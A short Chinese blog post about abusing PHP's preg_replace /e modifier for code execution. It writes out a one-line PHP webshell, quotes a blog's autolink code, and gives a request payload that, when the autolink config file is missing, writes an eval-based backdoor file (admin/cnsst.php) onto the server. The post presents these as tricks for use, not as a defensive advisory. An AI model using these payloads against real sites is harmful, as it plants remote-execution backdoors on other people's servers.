|
前几天看到一段有意思的代码,记录下。
先介绍下php中一个著名的函数preg_replace,其原形是:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit] )
该函数一个有意思的地方是:只要在第一个参数里出现了/e,而第二个参数可以控制那么我们就可以执行Php代码了:)比如可以根据这个写个一句话马出来了:<?preg_replace(//e,$_GET[c],'''')?>
下面是我摘抄某blog中的一段代码
@require(''admin/class/autolink.php'');
if(count($autolink) != 0) {
foreach($autolink as $key=>$val)
{
$pattern[] = "/(?<!http:\/\/)(".$val[''keyword''].")(?![a-z0-9\/\-_+=.~!%@?#%&;:$\\()|]+)/i";
$replace[] = "[url={$val[''url'']}]\\1[/url]";
}
$oneRe[''content''] = preg_replace($pattern,$replace,$oneRe[''content'']);
unset($pattern,$replace);
}
这样的代码是不是很阴险呢?如果使用者为了去处默认连接将admin/class/autolink.php删除,那么$autolink就没有被正确初始化,我们提交
Autolink[keyword]=//e& Autolink[url]=fputs(fopen('admin/cnsst.php','w+'),'<?@eval($_post[c])?>')
这样就得到一个admin/cnsst.php的最小马了。 |
|